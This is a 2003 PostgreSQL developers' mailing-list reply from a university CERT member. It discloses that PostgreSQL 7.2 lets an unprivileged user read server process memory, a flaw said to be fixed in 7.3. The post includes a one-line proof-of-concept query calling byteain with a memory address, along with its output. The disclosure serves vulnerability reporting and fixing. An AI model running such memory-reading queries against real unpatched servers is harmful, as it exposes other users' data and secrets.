Bruce Momjian <pgman(at)candle(dot)pha(dot)pa(dot)us> writes:

>> Hmm?  On 7.2, an unpriviliged database user can read the more or less
>> the whole memory image of the server process.  On 7.3, this has been
>> fixed.
>
> Huh.  Never heard that before.

It's the cash_out(2) crash, but with some other conversion function:

rusfw=> SELECT byteain(134512640);
       byteain       
---------------------
 \177ELF\001\001\001
(1 row)

rusfw=> 

(Of course, the address varies from machine to machine.)

-- 
Florian Weimer 	                  Weimer(at)CERT(dot)Uni-Stuttgart(dot)DE
University of Stuttgart           http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT                          fax +49-711-685-5898

In response to

• Re: why was libpq.so's version number bumped? at 2003-01-03 23:15:28 from Bruce Momjian

pgsql-hackers by date

Next:	From: Bruce Momjian	Date: 2003-01-03 23:31:41
	Subject: Re: Upgrading rant.
Previous:	From: Bruce Momjian	Date: 2003-01-03 23:15:28
	Subject: Re: why was libpq.so's version number bumped?